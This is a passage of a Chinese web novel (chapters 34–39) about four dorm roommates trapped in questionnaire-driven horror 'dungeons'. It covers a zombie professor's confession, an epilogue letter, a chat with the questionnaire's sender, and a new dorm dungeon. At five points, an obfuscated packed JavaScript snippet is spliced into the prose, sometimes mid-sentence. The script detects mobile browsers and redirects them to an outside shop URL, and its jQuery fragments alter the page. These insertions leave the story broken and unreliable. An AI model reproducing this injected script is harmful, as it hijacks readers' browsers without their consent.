这间房间四面无窗,和其他透明玻璃作墙的实验室很不一样。舒怀瑾把厚重的铁门一关,世界瞬间清净了下来。 不远处的办公椅前,一只形容枯槁的丧尸缓缓转过头来。 34. 丧尸校园13 还未等舒怀瑾等四人稍稍缓口气,那丧尸枯瘦的双手如闪电般延伸至她们眼前,直逼站位最前端的舒怀瑾面门。 舒怀瑾侧身敏捷一避,抬手对准擦肩而过的异形手臂。移液枪金光一闪,移液枪头径直贯穿了丧尸的掌心。 丧尸吃痛般哀嚎一声,伤口处褐色的碎片层层叠叠地从发黑的手掌上剥落,两条蛇一般扭曲的手臂也不甘心地退回了身侧。 四人此时才看清这个丧尸的模样。 它青灰的头颅上须发花白、皱褶遍布,一框碎裂的眼镜挂在缺了一角的耳廓上,染血的polo衫勉强罩住它浮肿的身躯。 在四人的目光下,风烛残年的丧尸剧烈地咳嗽起来,粘稠的血块从它的喉咙大口大口地呕出来,散发出腐烂的尸臭。 那些被吐出来的血块滚落到地,却没有随之停下,而是如同有生命一般地蠕动起来,逐渐显现出模糊的五官。 其中一团血块朝着舒怀瑾等人缓缓张开刚形成的嘴。 它的尖啸还没钻出喉部,一枚金色的移液枪头就打进了它的口腔。霎时间它全身爆裂如烟花绽放,黏液点点飞溅至房间内光滑的瓷砖上,落点腐蚀出细小的坑洞。 舒怀瑾又将枪头对准了其他的血块。 剩下的血块见此情景,嘴也不张了,一骨碌就滚回了丧尸脚下,争先抢后地往它身后躲。 血块:打不过打不过,溜了溜了。 被当做盾牌的丧尸老头显然是有些恨铁不成钢的意味,一脚将当了逃兵的血块往前一踹,随即出乎人意料地往地上一躺。 “大家都来看,年轻人欺负老年人哇!谁来给我评评理啊!” 这破锣一般的嗓音一出场,舒怀瑾等四人均是虎躯一震。 没想到有生之年还能被一只老年丧尸碰瓷! 那只丧尸老头混浊的眼中闪过狡黠的光,趁四人愣神之际,双臂又迅速伸长攻向舒怀瑾——先把那只奇怪的移液枪夺掉,剩下这四个水嫩的小姑娘岂不是手到擒来! 它这样想着,但手还没碰到移液枪就被半路横出的棒球棍猛地砸到了地上,骨头茬子从灰黑的皮肤中刺出,瞬间一片血肉模糊。 丧尸老头哀嚎着想将伸出去的手缩回,奈何江贮月将棒球棍死死摁在地上,它登时进退维谷。 “别杀我!别杀我!我不动就是了!” 若不是丧尸这身血淋淋的模样,光听声音还真以为它是个普通老头,此时正可怜巴巴地哀求着四人放自己一条生路。 “贮月,你能变出个笼子吗?很重的那种,用来关这个丧尸。”舒怀瑾一面将移液枪指着丧尸老头,一面用意识给江贮月传话。 真皮沙发、办公桌、收纳木柜台……这间房间的装潢显然是个办公室,桌上的名牌正是李霄燕导师的名字,而这丧尸的外形也的确符合李霄燕对于她导师的描述。 舒怀瑾的技能还未使用过,或许她可以试一试能否用在这个会讲话的丧尸身上。 江贮月闻言点点头,让邓溪明过来接替了她手中的棒球棍,随后集中精力盯着办公室内的椅子,同时将椅子往丧尸老头头上一抛。 黄花梨木椅瞬间变成了一座铁制的无门牢笼,将丧尸老头当头罩下。 丧尸老头的手臂被压在沉重的铁笼下,它再一次发出杀猪般的嚎叫声。 “丧尸病毒是你研究出来的?” 舒怀瑾对着丧尸老头发动了技能,丧尸老头瞬间安静下来,灰白的眼睛仿佛蒙上了一层白雾。 “你是说我们实验室里那种让人格外喜欢新鲜血肉的病毒?那当然是我研究出来的。” 它的脸上浮现出沉醉的神情,深吸一口气又缓缓吐出,喉咙中发出风吹过山谷的声响。 “学生们在我的指导下将它带来了这个世界,我将它称作永恒。虽然它不太完美,但它已经初步实现了我的设想。” “你为什么要研究这个?” 听见舒怀瑾的问题,丧尸干枯的脸上绽出一个痴迷的笑:“长生,是为了长生啊。” “我忙碌了大半辈子,名,我有了,钱,我也有了。可这些荣华富贵,我得有命才能享受哇。” 它说到这儿,笑容忽然消失,转而是一脸阴翳。 “本来这计划还能慢慢进行的,天晓得我会突然检查出来癌症晚期,反正都是个死,不如就拿我的实验结果试上一试。” “好在我当年选学生的时候专门选了一些没人在意的,好用得很。拿个无父无母的小姑娘来做实验,也没人为她申冤,啧啧啧……不过她居然还有个朋友愿意为她报警,这倒是我没想到的。” “但报警又有什么用呢?警察那边也有人受过我的恩情,随便打点一下就结案了。” “胳膊掰不过大腿,这群年轻人想和我斗,还是嫩了点。” 它颇为得意地咧开嘴,猩红的舌舔着獠牙尖端。 江贮月见此握紧了拳头。 舒怀瑾眼神一凛:“既然如此,病毒为什么会泄露到外面?” 丧尸老头嘲弄的表情瞬间变得阴毒:“实验室里出了个没良心的小耗子,居然敢趁我不在,把外面的人领进来,毁了我这么多年的心血!” “本来我的研究还能更进一步,我也不至于变成这种人不人鬼不鬼的样子。但等我赶到这儿,一切都完了,我也只能给自己打了最新的病毒……至于那群阳奉阴违的学生,死后也别想逃出我的手掌心!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593657|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>它看向办公桌,眼中是浓浓的不甘与怒火。 舒怀瑾等四人顺着它的目光看去。办公桌上有一台笔记本电脑,此时屏幕正发着微弱的光。 程映雪上前至电脑前,轻点鼠标:“电脑是开的……上面有些文件或许有用。” 舒怀瑾用移液枪对准丧尸的头颅:“溪明,你一起去看看。我和贮月守着这个丧尸。” 邓溪明点点头,将棒球棍递还给江贮月后迈步向前。 “你们在干什么!不准动我的电脑!你们父母没教过你们不要随便动别人的东西吗?” 三个问题问完,技能效果也结束了。丧尸老头一清醒就看见两人翻看自己的电脑,不禁愤懑出声。 程映雪和邓溪明抬头看看它,又继续看着记录。它正要继续叫唤,却见到舒怀瑾微微按下移液枪的按钮,手指放于唇前比了个噤声的手势。 丧尸老头瞬间安静如鸡。 病毒的相关文件被藏得很好,程映雪翻看了许久才找到一些关于丧尸实验的资料。 资料上记载了丧尸病毒从理论走向现实的过程,但最触目惊心的还是活体实验阶段的记录。 一开始的实验对象只有一个学生。但初代的病毒会让人遭受莫大的痛苦,皮肉的溃烂让那个学生甚至不成人形。 那名学生没日没夜地如同一摊烂泥一般在地上挣扎,发出的声响引来了另一名好奇的学生。 但实验室的门并不是无故开放的。见到一地血腥而被吓破了胆的第二名学生如同误入猪笼草的昆虫一般,再也没能离开六楼实验室的大门。 程映雪皱着眉将文件内容简要概括了一下讲给舒怀瑾和江贮月听,随后不忍地背过身去,不愿再看那些报告上附带的照片。 明明是黑白的照片,看起来却仿佛下一秒就要淌出血。 邓溪明忍着恶心接过鼠标,继续操作着电脑:“……它给六楼留了备用电源,网也是好的。我把它这些记录都备份了,整合起来向外发了大约五百份,也不知道有没有用。” 舒怀瑾点头,随即向问卷验证通关条件。 幸而这次的叙述并没有被机械音冷冷驳回。 “恭喜通关,正在结算奖励……” “奖励结算成功。全员存活率100%,正确选择率100%,背景还原率99%。” “恭喜高分通关D级问题,获得奖励【降低难度卡】×1、【随机道具】×1。检测到副本内物品,已存储至背包。” 舒怀瑾闻言,悬着的心才终于放下。在白茫茫的光点逐渐淹没她的视野之前,她扣动移液枪的按钮,金色的光芒瞬间穿透了丧尸老头的太阳穴。 这个实验室的罪恶终于了结。 35. 丧尸校园 番外 一双灰色的眼睛凝固在流动的时间里。 …… 我叫唐霜。我自幼相伴的朋友温礼鸿,她已经失踪一周了。 她绝不可能是轻生,我知道的。尽管她在十五岁时不幸失去了父母,但她父母那令人敬佩的爱一直陪伴着她、支撑着她,让她得以保持正直、善良、无私的品格。她会在力所能及的范围内做到最好,没有什么能阻挡她成长的脚步。 我的双眼幼年时曾经受过伤,至今视物均是灰蒙蒙一片,医生也束手无策。 但她为了我选择了医学。 她说要为我,为更多人带来一个光明的未来。 她本来就跟聪明,于是她考上了顶尖的大学,保研去了业内泰斗的门下。 但她太过聪明了,而我也太过蠢笨了。她面对我时总是那么开朗,以至于我居然没发现,向来温暖如太阳般的她,在近几年的日记中总是淌着泪。 皱皱巴巴的日记本里,居然藏了那么多痛苦。 她失踪的第三天,我报警了。 警察查到她最后一次出现的地点是在她的学校。她进入实验室后,就没再出来。 里面一定发生了什么。但警察发现了这些后,居然只是和我说,监控坏了,而她外出参与会议了。 我不相信这个结果。我又报了警。 这次等待我的是一场莫名其妙的拘留。 我很普通,我没办法说服警察去找你,我只能自己去找你。 我到了你平常工作的实验室。这里的人和警察说的一样,但当我询问你到底去了哪里,他们却又支支吾吾说不出个所以然。 我当时的确很无措,我坐在你的休息室里,看着你桌面上摆着的陶瓷小人流泪。 那是我送你的生日礼物,你有一个,我也有一个。 我哭泣的时候,面前突然出现了一个女孩。 她说她叫张霖蕴,她知道你去了哪里。 我跟着她上到了六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593658|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼。 …… 我不相信那是你! 那样悲惨的模样,趴在地上向外呕着血沫,眼珠灰白得像是我的眼睛。 我不相信那是你! 可我不得不相信那是你。 你腿上因为见义勇为而留下的伤疤就静静地躺在那儿,逼迫我接受这个事实。 这段时间以来,你一直被这样对待吗?这儿还有很多人像你一样…… …… 我靠近你时,你咬了我。 我感觉浑身像被猛兽碾碎一般。原来你是这种感觉吗? 不过没关系,我这次来,带了一把小刀。一开始是为了防止有人伤害你,想不到最终是为了终结你的痛苦。 你睡了,梦颜乖巧得一如从前。 最后一次祝你好梦后,我也要睡了。 我很害怕,还是让我再看看你吧。 …… 一双灰色的眼睛凝固在流动的时间里。 36. 问卷溯源 “下一次副本开启时间:三天后。” 这次回到宿舍时恰好是傍晚,因此四人美美吃饭洗漱后就上床睡觉了。 第二日上午九点,舒怀瑾从床上起来时,敏锐地听见了一阵电容笔敲击平板屏幕的声音。 她拉开床帘一看,果然是程映雪正坐在桌子前对着平板写写画画。 这场景有点熟悉,好像很久以前见过。 ……对哦,问卷降临前她们好像在准备期末考的。 一阵毛骨悚然感突然爬上了舒怀瑾的脊背,她不敢再赖床,一骨碌就下了地,边穿衣服边叫道:“问卷关闭了吗?我们要期末考了吗?” 江贮月和邓溪明闻此从床上弹射起来,异口同声道:“真的吗?啊啊啊啊要考试了吗?” 书桌前的程映雪幽幽转头:“是啊……明天就要考有机化学了……开心吗?” 见三人石化般愣在原地,她“噗嗤”一声笑出来:“骗你们的。我在做副本笔记呢。” “那就好那就好,不是考试就行……” 江贮月长抒一口气躺回床上,邓溪明还是保持着坐姿,若有所思。 没有期末考意味着问卷没有结束,舒怀瑾实在不知道是该高兴还是不该高兴。她穿好衣服跑到程映雪桌前,探头看她所谓的“副本笔记”究竟是什么。 只见程映雪米白的平板背景上写着“问卷副本通关攻略”几个大字,其下则是她们经历过的三个副本内容梗要。 虽说是梗要,可这份攻略上通关要求、故事背景、守则条例、副本地图及注意事项应有尽有,看得舒怀瑾简直是眼含热泪。 要是她们进副本前有这份攻略,那通关岂不是轻轻松松,哪里还需要四人辛辛苦苦地风里来、雨里去。 “我加了一个笔记互助群。”程映雪停下手中的笔,解释道“我和很多人交流过后,发现相同问题的相同答案对应的副本是完全相同的,而且每个人答题的顺序并不完全一致。” “既然如此,我们可以打破信息差,把大家目前遇到的所有问题都收集起来,合作共赢。” 舒怀瑾眼睛发亮:“也就是说,如果我们提前预习别人的笔记,下一次进入副本时就可以照抄答案了!” 江贮月闻此又从床上弹起来:“发我一份!” “我也要!”邓溪明一把拉开床帘,双眼同样发光。 “好好好。”程映雪圆圆的眼睛笑成了月牙,“我目前拿到了两个我们还没遇见过的问题攻略,已经在发送中了。” 另外三人立即掏出手机来。 不一会儿,两个文件就传输到了名为“花果山洞天福地”的404室宿舍群。 “什么啊……这问卷脑洞好大……这个问题D选项里人类居然退化成病毒了……”江贮月满是惊讶地翻看着文件,心中盘算着她变成病毒后到底能一次性打几个,“我还以为我们变成小鼠已经够悲催的了。” 邓溪明咂了咂嘴:“这个副本还将背景设定在回南天,我光是看到这些描述都感觉脚底打滑了。” 舒怀瑾看了一会儿笔记,忽然想起些什么:“映雪,你们这个资料群……是实名交流的吗?” 程映雪想了想:“不算实名吧,但大家也没匿名,就是用原本的网名交流。” “啊……这样啊。” 舒怀瑾轻轻皱起了眉头。 “怎么了?”程映雪不明所以。 “你还记得我们之前大一的时候加过的那个新生资料群吗?”舒怀瑾有些发愁,“那里面有很多卖课的人在里面浑水摸鱼,我担心……” “你担心有人仗着没人认识在里面发虚假信息?”程映雪接上她的话,“应该……不会吧?每次有人发笔记后都会有同样经历过这个副本的人一起讨论内容,我感觉可信程度还挺高的。” “那还好一点。”舒怀瑾稍微放下心来,“但愿没有人那么坏吧。” 以前的学习资料要是货不对板,她们顶多是被骗钱,回过头来还能投诉那个诈骗犯。但现在这种情况,要是有人故意在副本笔记里做手脚,她们估计就没那个命回来指出笔记里的错误了。 不过说起学习资料互助群,舒怀瑾忽然想起她们之前填写的那份“大学牲精神状态问卷”也是在一个学习资料互助群里发现的。 过了这么久,不知道还能不能找到当初发问卷的人是谁。 她在通讯录里一通翻找,终于找到了那个互助群聊。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593659|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映雪,你还记得我们是什么时候填的那个‘大学牲精神状态问卷’吗?” 程映雪正在向“问卷笔记资料互助群”的群主叙述建立笔记核查机制的重要性,闻言抬头愣了几秒:“……我记得是在这学期初吧。九月二十号的样子?” 舒怀瑾主打一个相信程映雪的记忆力,直接按照日期精准搜查到九月二十日的聊天记录。幸好这个群平常都很冷,因而很久以前的聊天记录依旧保存着。 果然,没翻两下就看到了那个万恶之源——“大学牲精神状态问卷”。 问卷链接下面还有一个拼手气红包。 一看到这个,舒怀瑾就气不打一出来。 就为了这么一个0.01元的红包,她们居然就被莫名其妙地拉进了这个诡异的问卷。 早知如此,当日她哪怕是铁头撞大墙也要抑制住自己去占小便宜的心思,绝对不要再拉着舍友一起来填这个问卷。 不过事已至此,南墙已撞,再内耗也无益。她有些愤愤地最后看了一眼那个红包,转而仔细观察起问卷和问卷转发者来。 她点进链接,问卷如意料之中地显示“已过期”,于是她又点开问卷转发者的名片。 对方的头像是一朵很可爱的小花,黄白的配色,摇曳在阳光之下,昵称叫作“相信明天”。但与光明磊落的头像昵称相对的是,对方的个人信息全部隐藏,舒怀瑾完全无法判断对方的身份。 她只好继续查看对方在群里的发言记录,试图从中找出蛛丝马迹。 谁知对方非常谨慎,除了那份问卷外几乎没怎么发过言,只是偶尔在别人发问卷求帮助时领个红包发一句“已填”。 舒怀瑾想了想,点开了好友申请界面,向对方发送了一条信息。 “姐妹,我们公选课要求做大学生心理状态相关的pre,我看到你之前有在做这个方向的研究,请问你愿意给我们发一份你的问卷调查结果吗?我们想用在pre上,不会用作商业用途,并且会注明是你的成果的!非常感谢!!!” 时间静静流逝着。 五分钟后,一条新消息出现在她的手机锁屏上。 {上午9:57} 【相信明天:你好。】 37. 举报链接 “诶!我刚刚加上了之前发那个‘大学牲精神状态问卷’的人,她通过我的好友请求了!” 舒怀瑾这一叫,另外三人立即聚了过来。四颗毛茸茸的脑袋凑在一起,盯着桌上那方寸屏幕上的聊天对话框。 程映雪:“你干嘛加她?” 舒怀瑾:“我想从她身上找找问卷的线索。” 程映雪沉默。 江贮月:“你怎么加上的?” 舒怀瑾:“我说我们做pre需要她的问卷结果。” 江贮月沉默+1。 邓溪明:“那她怎么就同意了?” 舒怀瑾:“我看她还在群里还挺乐于助人的……” 邓溪明沉默+2。 程映雪默默开口:“怀瑾,有没有一种可能,她那边有你填过问卷的记录,所以应该很清楚你现在不是在正常上学。” 江贮月补刀:“有没有一种可能,现在就算是正常上学也不用做公选课pre,因为要期末了。” 邓溪明……邓溪明还在沉默。 舒怀瑾原本以为自己的这一番操作天衣无缝,结果被舍友这么一点才发现她的措辞漏洞百出。 “啊……或许她只是帮别人转发呢?”她有些懊恼,“早知道开个小号加她,说是活动设计要用了。” 邓溪明恨铁不成钢地戳了戳舒怀瑾的肩膀:“这个问卷都能把我们莫名其妙拉进这种奇怪的副本了,你还敢凑上去联系和问卷直接相关的人?我们是担心你被对方查到身份然后在之后的副本里被穿小鞋啊!” “对不起,是我莽撞了。不过问都问了,对方也打招呼了,要不咱先商量一下该怎么回?”舒怀瑾揉了揉被戳的地方,有些担忧地看向手机。 对话框里,“相信明天”发来了一条新消息。 {上午9:59} 【相信明天:不好意思,我的实验数据没法直接发给你,但我可以把大概的结论和你讲一下。】 四颗脑袋又凑到一起,商量一会儿后派了舒怀瑾上去回消息。 {上午10:03} 【大虫小强:好哇好哇,太感谢啦!】 对面几乎是秒回。 【相信明天:根据问卷结果,大多数的同学似乎都对大学生活抱有一种消极的态度。】 【相信明天:自怨自艾是他们的常态。对于学习,他们完全打不起精神来,甚至无比厌恶上课,只是得过且过地混过每一天。】 【相信明天:但当他们面对毕业求职需求时,自身毫无长处,不懂变通,却又开始痛骂社会不给他们机会。】 【相信明天:于是他们说大学无用,随后说服自己继续以浑浑噩噩的状态度过剩余的人生。】 【相信明天:对于这个结果,你有什么想法吗?】 舒怀瑾:啊……这怎么有点像是在点我。 【大虫小强:或许有些同学并没有那么颓废,而只是口嗨而已?】 对面迟疑了片刻。 【相信明天:不,这些是我亲眼所见。】 亲眼所见? 舒怀瑾想起问卷降临的那天夜晚,身上萦绕不去的被窥视感。 这就是她的亲眼所见吗? 现在,她也在看着吗? 舒怀瑾如坠冰窖。 【大虫小强:你是想改变这一切吗?】 【相信明天:你会知道的。】 此后不论舒怀瑾发什么信息过去,对方都没有再回应。 “你觉得她是同龄人吗?”围观的江贮月问道。 舒怀瑾闭上双眼:“比起是不是同龄人,我更好奇她是不是活人。” “她对大学生的态度和这份问卷的态度相同,我们被拉入的副本可能就是她制造出来的。” “把无数人拉入好像无穷无尽的副本中,这真的是活人能办到的吗?” “或者说,我们此时的状态,也许也算不上活人了?” 她的声音愈发低沉,到最后已经透露出一种隐约的绝望。 她昨晚做了一个梦,梦见她们四个人都死在了一个副本中,面容可怖又真实。 舒怀瑾其实经常做噩梦,但这次的噩梦逻辑过于清晰,她眼睁睁看见同伴狰狞死去,而自己拼尽全力却最终濒死的后劲实在太足。她心中依旧残存着惧意,因此一清醒就试图尽快找到逃离问卷控制的方法。 但如果一切都失去了意义…… 江贮月和邓溪明都怔住了。 程映雪忽然上前张开双臂抱住了舒怀瑾。 “你的身体是热的,我的也是,你感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593660|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到了。”她的嗓音格外温润,但细听还有些隐忍的颤抖,“我们都还活着,也一定可以逃离这个该死的问卷。” 舒怀瑾讶然睁开双眼。 “我也在。”邓溪明上前抱住了二人,温热的胸膛贴在她们身上。 江贮月也迈步上前,拥住了三人。 前路漫漫,唯有结伴同行才能心安。 …… “等一下,刚刚是不是有什么东西闪过去了。” 程映雪刷新了一下教务系统,余光似乎看到一个图标乍然出现又消失。 听了舒怀瑾讲的梦后,另外三人也加入了全力以赴寻找脱离问卷方法的队伍中。 四人全军覆没的梦,这可不是一个好兆头。 此时她们正试图联系保卫部门。 “你没看错,我也看到了。我刚刚点进去了,是个举报链接。但是这个网页它会自动刷新,一刷新它就显示网页消失了……”邓溪明目不转睛地盯着电脑屏幕,希望可以再将刚刚的链接刷新出来。 舒怀瑾凑了上来:“举报链接?里面有什么?” 邓溪明努力回忆着:“有一段文字,大意是说同学们可以在这个链接里上传学校里出现的诈骗、传销等违法行为的证据,学校收到后会进行处理。下面还有一些框框,应该是上传证据的地方。” “以前好像没有这个页面吧?”舒怀瑾有些疑惑。 程映雪:“没有。” 江贮月福至心灵:“那这是不是校方发现我们消失了提供的求救渠道啊?” 舒怀瑾沉思:嗯……把人全部绑进副本还不给随便出来,怎么不算传销呢? “咱再试试,看能不能再刷出来。” 舒怀瑾说罢,坐在电脑桌前就开始重复邓溪明同款刷新姿势。 程映雪和江贮月见此也连忙坐好。 然而方才那个链接似乎只是昙花一现。四人连续刷了一小时,都没再见过那个链接的踪影。 “奇怪,难道这种链接也能被屏蔽的?”邓溪明舒展酸痛的腰身,骨节发出久坐后“咔咔”的脆响,“我好饿了,要不先吃饭吧。” 舒怀瑾点点头:“我去医务室里看看姜宁和阮鑫玲回来了没有。” 她打开医务室的大门,里面依旧是空空荡荡。 38. 表里世界1 “所以为什么我们明明进了副本却还在宿舍里?” 江贮月不解地环视周围。 三日很快就过去了,但姜宁和阮鑫玲一直没有回来,她们也没再刷出那份举报链接。 但新的问题依旧准时降临。四人答题后同样是白光一绽,下一秒却发现四周似曾相识。 狭窄的空间、老旧的床铺、闪烁的顶灯、掉皮的天花板和渗水的地砖,一切都和她们升级前的宿舍一模一样,甚至连桌面上的私人物品位置都全然相同。 乍一看,江贮月还以为她们不是进副本了,而是宿舍升级失效了,一时间甚至说不出来哪个更恐怖一点。 “或许这次的副本地点就是以我们学校为原型的。” 舒怀瑾摩挲着专业书的封面,厚厚的灰尘沾黑了她的指尖。 她抽了张纸巾将手指擦干净,皱眉扫视洗手台密布的蜘蛛网和镜子上成分莫名的污渍:“但这个副本显然加了很多不合理的设定。” 舒怀瑾有轻微的洁癖。自打她大学入学当宿舍长以来,只要她在宿舍,她就没让宿舍脏过。由于她在清洁宿舍方面一向是先身体力行再带动舍友,所以404寝室年年都是全院最干净的宿舍,四人的校级文明宿舍奖学金几乎是拿到手软。 在她的概念里,宿舍条件差是一回事,脏乱又是另一回事。因此眼前的这个脏兮兮的宿舍,绝不可能出现在现实生活中。 但这次她们进入副本时,机械音迟迟没有播报副本名称与通关条件。因此为避免触犯禁忌,舒怀瑾现下只能忍着这一室的脏污,控制自己想立刻打扫卫生的双手。 这次问卷的问题是日常学习生活中的精神状态如何,通关条件该不会是打扫卫生吧? 逼仄的环境中,她们不敢随意走动,只能四下打量着,期盼发现什么线索。 突然,老旧的铁门发出一声拍门的巨响,颤抖的身躯扑簌簌地往下掉着灰。 “快开门!我要进来!” 一个极富穿透力的大嗓门在门外响起,声音之大甚至震落了宿舍天花板上风扇的灰尘。 被落了一身灰尘的四人咳嗽中忽然听见脑海内响起问卷的机械音。 “欢迎来到副本《表里世界》,通关要求:完成课堂作业,获得老师的嘉奖。” 机械音话音刚落,大门就猛地发出“砰”的一声响。 可怜的大门被暴力破开了,吱呀呀地随着夜风飘荡。 一个庞大的身影从外面的黑暗中一脚踏进了室内。 “你们都在啊!怎么没人给我开门?” 那人怒气冲冲进到室内来,四人才借着闪烁的灯光看清来人的模样。 对方是一个背着众多行李的女孩,一身大骨架却没二两肉,嘴唇发白、双目无神,眼下则是浓浓的乌青。 蚊虫萦绕在她惨白的皮肤和结团的头发上,但她视若无睹,只是恶狠狠地盯着四人:“问你们呢!你们哑巴了?” “你……” 舒怀瑾刚想反击,一道沙哑但大声的嗓音又撞进了室内,毫不客气地打断了她的话。 “乖女儿别跟她们这群聋子废话,妈妈给你铺床。” 一个瘦弱的女人背着大包小包从那名女孩的身后钻出来。 舒怀瑾眼见着她们就要往室内走,上前一步拦住她们:“你们是谁?这里是我们宿舍,不允许非法闯入!” 另外三人紧跟上她的脚步,在她身后一字排开。 走在前面的女人斜着眼看了一眼舒怀瑾,不屑地笑:“你们宿舍?这也是我女儿的宿舍!” “别在这挡道!耽误了我女儿学习,我要你们好看!” 她伸手就要推舒怀瑾,却被舒怀瑾一手擒住,挣脱不开。 “我们这里是四人宿舍,已经住满了!” 那女孩听了舒怀瑾的话,也不管她因为不适而不停扭动的母亲,只是趾高气昂地朝室内一指:“你自己看看,哪里是四人宿舍?” 舒怀瑾顺着她的手一看,却发现原本只有四个床铺的宿舍不知道从哪里又变出来了两个床铺,整个宿舍更是拥挤不堪。 灰扑扑的床沿上浮现几排大字。 【表世界守则】 一、舍友永远是你的朋友,不要和你的舍友闹僵关系,为此你要满足舍友的所有需求。 还有里世界守则吗?舒怀瑾暗想。 不过当务之急是解决面前这个难题。舒怀瑾甩开女孩母亲的手,拍了拍灰,面无表情地转头:“那你怎么证明你就是我们的舍友呢?” “这还需要证明?”女孩撇了撇嘴,抬腿就要撞开舒怀瑾往里走,却被上前的江贮月一根棒球棍挡住了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593661|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为了宿舍安全考虑,请你出示证明。”江贮月俯视着对方,琥珀色的眼珠如猫科动物盯上猎物般,令女孩不自觉打了一个冷颤。 女孩“啧”了一声,低头翻着白眼从裤兜里掏出来一张皱巴巴的纸展示给四人。 那张纸是一张转宿舍申请表。 “看到了吗?这是我的照片,我叫孙嘉,被批准搬到你们宿舍。” 照片上的确是那个女孩的照片。 “我们没有收到通知。你叫给你批这个通知的人来。” 舒怀瑾冷冷出声。 “凭什么!我要生气了!” 那个女孩的脸一下子像充气一般肿胀起来,眼睛充血,如同一只愤怒的牛。 “一张皱巴巴的证明而已,谁都可以伪造。如果以后有人想通关这种方式进到我们宿舍来,你作为宿舍的居住者会不会答应呢?你要是真的是我们的舍友就该明白,我们要求证明是为了你好。” 舒怀瑾一番连珠炮的话把正要变身的孙嘉打得有些无措。她的脸颊如同被放气的气球一般瘪了下来,眼睛也恢复了原来的样子。 “也……也有道理。我现在就打电话叫老师来,你们给我等着!” 她从妈妈的口袋里掏出来一个老式翻盖手机,一个接一个按钮地拨通了一个电话。 不多时,一个熟悉的身影就出现在了宿舍门口。 “辅导员,她们不相信我的话,你来给我证明我的确是转到她们宿舍的同学。” 四人有些惊愕地相互对视。来人正是她们许久不见的辅导员,长相和现实世界里的几乎是一模一样,只是着装和她们的宿舍一样,脏乱不堪。 “同学们,她的确是你们的新舍友。” 辅导员捋了捋刘海。一开口,一行字立即出现在她头顶的门框上。 【表世界守则】 二、辅导员的话都是真的,辅导员的话代表着学院的态度。 “没什么事我就先走了,你们好好相处。”辅导员有些嫌恶地看了一眼变形的大门,“真不爱惜学校的公共财产,踹坏了门回头还要修,多浪费钱。” 辅导员“哒哒哒”的高跟鞋声音逐渐远去,孙嘉一脸不耐地盯着舒怀瑾:“现在我可以进去了吧?” 思及守则,舒怀瑾微微侧身:“欢迎你,我们的新舍友。” 39. 表里世界2 孙嘉拖着行李刚到床铺附近,被撞坏的大门上就浮现出一段文字。 【表世界守则】 三、十点之后请锁好宿舍门窗,否则请小心床头,那里或许有一双眼睛。 四人看了一眼锁头,背后一凉——宿舍门的锁已经脱离了门板,此时正悬在风中摇晃。 此时距离十点还有两小时。 “怎么办?”程映雪被寒风吹得一激灵,所有为了练胆而看的恐怖电影偏偏此时一齐涌上她的脑海。 舒怀瑾也有些害怕。她虽然是个无神论者,但身为一个土生土长的华夏人,还是会对这种层层渗透的恐怖氛围产生一丝惧意。 她下意识摸向放在裤兜里的手机,触及它温热的外壳,心下才镇定一些:“报修吧。我猜,这就是这次副本给我们保留手机的缘故。” 另外三人这才发现她们的手机居然还在。之前的几次副本中,她们曾经尝试通过把手机放进背包来将手机带进副本,可每次一进副本,手机就自动消失了。 想不到这次副本竟然主动提供手机,这实在是四名网瘾少女的意外之喜。 不过办正事要紧,舒怀瑾拿出手机解锁后直奔教务系统服务台而去,在报修界面迅速填写了相关信息。 